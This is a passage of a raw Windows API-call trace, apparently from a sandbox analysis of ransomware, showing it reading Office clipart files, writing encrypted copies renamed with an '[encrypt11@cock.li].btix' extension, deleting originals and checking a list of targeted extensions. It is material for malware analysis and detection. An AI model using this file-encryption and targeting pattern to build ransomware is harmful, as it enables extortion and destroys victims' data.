CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.232] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.232] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.233] GetLastError () returned 0x0 [0149.233] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3632, lpOverlapped=0x0) returned 1 [0149.234] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3640, lpOverlapped=0x0) returned 1 [0149.235] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.235] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.235] SetEndOfFile (hFile=0x378) returned 1 [0149.235] CloseHandle (hObject=0x378) returned 1 [0149.235] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.235] SetEndOfFile (hFile=0x374) returned 1 [0149.236] CloseHandle (hObject=0x374) returned 1 [0149.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0149.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.236] lstrlenW (lpString=".doc") returned 4 [0149.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.236] lstrlenW (lpString=".docx") returned 5 [0149.236] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.237] lstrlenW (lpString=".pdf") returned 4 [0149.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.237] lstrlenW (lpString=".xls") returned 4 [0149.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.237] lstrlenW (lpString=".xlsx") returned 5 [0149.237] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.237] lstrlenW (lpString=".ppt") returned 4 [0149.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.237] lstrlenW (lpString=".zip") returned 4 [0149.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.237] lstrlenW (lpString=".rar") returned 4 [0149.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.237] lstrlenW (lpString=".bz2") returned 4 [0149.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.237] lstrlenW (lpString=".7z") returned 3 [0149.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.237] lstrlenW (lpString=".dbf") returned 4 [0149.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.237] lstrlenW (lpString=".1cd") returned 4 [0149.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.237] lstrlenW (lpString=".jpg") returned 4 [0149.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.237] lstrlenW (lpString=".doc") returned 4 [0149.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.238] lstrlenW (lpString=".docx") returned 5 [0149.238] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.238] lstrlenW (lpString=".pdf") returned 4 [0149.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.238] lstrlenW (lpString=".xls") returned 4 [0149.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.238] lstrlenW (lpString=".xlsx") returned 5 [0149.238] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.238] lstrlenW (lpString=".ppt") returned 4 [0149.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.238] lstrlenW (lpString=".zip") returned 4 [0149.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.238] lstrlenW (lpString=".rar") returned 4 [0149.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.238] lstrlenW (lpString=".bz2") returned 4 [0149.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.238] lstrlenW (lpString=".7z") returned 3 [0149.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.238] lstrlenW (lpString=".dbf") returned 4 [0149.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.238] lstrlenW (lpString=".1cd") returned 4 [0149.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0149.238] lstrlenW (lpString=".jpg") returned 4 [0149.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.239] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.239] lstrlenW (lpString="J0099154.JPG") returned 12 [0149.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.239] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=6929) returned 1 [0149.239] CloseHandle (hObject=0x374) returned 1 [0149.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0149.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.239] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.239] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.240] GetLastError () returned 0x0 [0149.240] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1b11, lpOverlapped=0x0) returned 1 [0149.241] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0149.242] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.242] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.242] SetEndOfFile (hFile=0x378) returned 1 [0149.242] CloseHandle (hObject=0x378) returned 1 [0149.242] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.242] SetEndOfFile (hFile=0x374) returned 1 [0149.243] CloseHandle (hObject=0x374) returned 1 [0149.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0149.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.244] lstrlenW (lpString=".doc") returned 4 [0149.244] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.244] lstrlenW (lpString=".docx") returned 5 [0149.244] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0149.244] lstrlenW (lpString=".pdf") returned 4 [0149.244] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.244] lstrlenW (lpString=".xls") returned 4 [0149.244] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.244] lstrlenW (lpString=".xlsx") returned 5 [0149.244] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0149.244] lstrlenW (lpString=".ppt") returned 4 [0149.244] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.244] lstrlenW (lpString=".zip") returned 4 [0149.244] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.244] lstrlenW (lpString=".rar") returned 4 [0149.244] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.244] lstrlenW (lpString=".bz2") returned 4 [0149.244] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.244] lstrlenW (lpString=".7z") returned 3 [0149.244] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.244] lstrlenW (lpString=".dbf") returned 4 [0149.244] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.244] lstrlenW (lpString=".1cd") returned 4 [0149.244] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.244] lstrlenW (lpString=".jpg") returned 4 [0149.245] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.245] lstrlenW (lpString=".doc") returned 4 [0149.245] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.245] lstrlenW (lpString=".docx") returned 5 [0149.245] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0149.245] lstrlenW (lpString=".pdf") returned 4 [0149.245] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.245] lstrlenW (lpString=".xls") returned 4 [0149.245] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.245] lstrlenW (lpString=".xlsx") returned 5 [0149.245] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0149.245] lstrlenW (lpString=".ppt") returned 4 [0149.245] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.245] lstrlenW (lpString=".zip") returned 4 [0149.245] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.245] lstrlenW (lpString=".rar") returned 4 [0149.245] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.245] lstrlenW (lpString=".bz2") returned 4 [0149.245] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.245] lstrlenW (lpString=".7z") returned 3 [0149.245] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.245] lstrlenW (lpString=".dbf") returned 4 [0149.245] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.245] lstrlenW (lpString=".1cd") returned 4 [0149.246] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0149.246] lstrlenW (lpString=".jpg") returned 4 [0149.246] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.246] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.246] lstrlenW (lpString="J0099155.JPG") returned 12 [0149.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.246] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=8826) returned 1 [0149.246] CloseHandle (hObject=0x374) returned 1 [0149.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0149.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.246] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.246] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.247] GetLastError () returned 0x0 [0149.247] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x227a, lpOverlapped=0x0) returned 1 [0149.248] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2280, lpOverlapped=0x0) returned 1 [0149.249] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.249] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.249] SetEndOfFile (hFile=0x378) returned 1 [0149.249] CloseHandle (hObject=0x378) returned 1 [0149.249] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.249] SetEndOfFile (hFile=0x374) returned 1 [0149.250] CloseHandle (hObject=0x374) returned 1 [0149.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.250] lstrlenW (lpString=".doc") returned 4 [0149.251] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.251] lstrlenW (lpString=".docx") returned 5 [0149.251] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0149.251] lstrlenW (lpString=".pdf") returned 4 [0149.251] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.251] lstrlenW (lpString=".xls") returned 4 [0149.251] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.251] lstrlenW (lpString=".xlsx") returned 5 [0149.251] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0149.251] lstrlenW (lpString=".ppt") returned 4 [0149.251] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.251] lstrlenW (lpString=".zip") returned 4 [0149.251] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.251] lstrlenW (lpString=".rar") returned 4 [0149.251] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.251] lstrlenW (lpString=".bz2") returned 4 [0149.251] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.251] lstrlenW (lpString=".7z") returned 3 [0149.251] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.251] lstrlenW (lpString=".dbf") returned 4 [0149.251] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.251] lstrlenW (lpString=".1cd") returned 4 [0149.251] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.251] lstrlenW (lpString=".jpg") returned 4 [0149.251] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.252] lstrlenW (lpString=".doc") returned 4 [0149.252] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.252] lstrlenW (lpString=".docx") returned 5 [0149.252] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0149.252] lstrlenW (lpString=".pdf") returned 4 [0149.252] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.252] lstrlenW (lpString=".xls") returned 4 [0149.252] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.252] lstrlenW (lpString=".xlsx") returned 5 [0149.252] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0149.252] lstrlenW (lpString=".ppt") returned 4 [0149.252] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.252] lstrlenW (lpString=".zip") returned 4 [0149.252] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.252] lstrlenW (lpString=".rar") returned 4 [0149.252] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.252] lstrlenW (lpString=".bz2") returned 4 [0149.252] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.252] lstrlenW (lpString=".7z") returned 3 [0149.252] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.252] lstrlenW (lpString=".dbf") returned 4 [0149.252] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.252] lstrlenW (lpString=".1cd") returned 4 [0149.252] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0149.253] lstrlenW (lpString=".jpg") returned 4 [0149.253] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.253] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.253] lstrlenW (lpString="J0099156.JPG") returned 12 [0149.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.253] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=13954) returned 1 [0149.253] CloseHandle (hObject=0x374) returned 1 [0149.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0149.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.253] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.253] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: 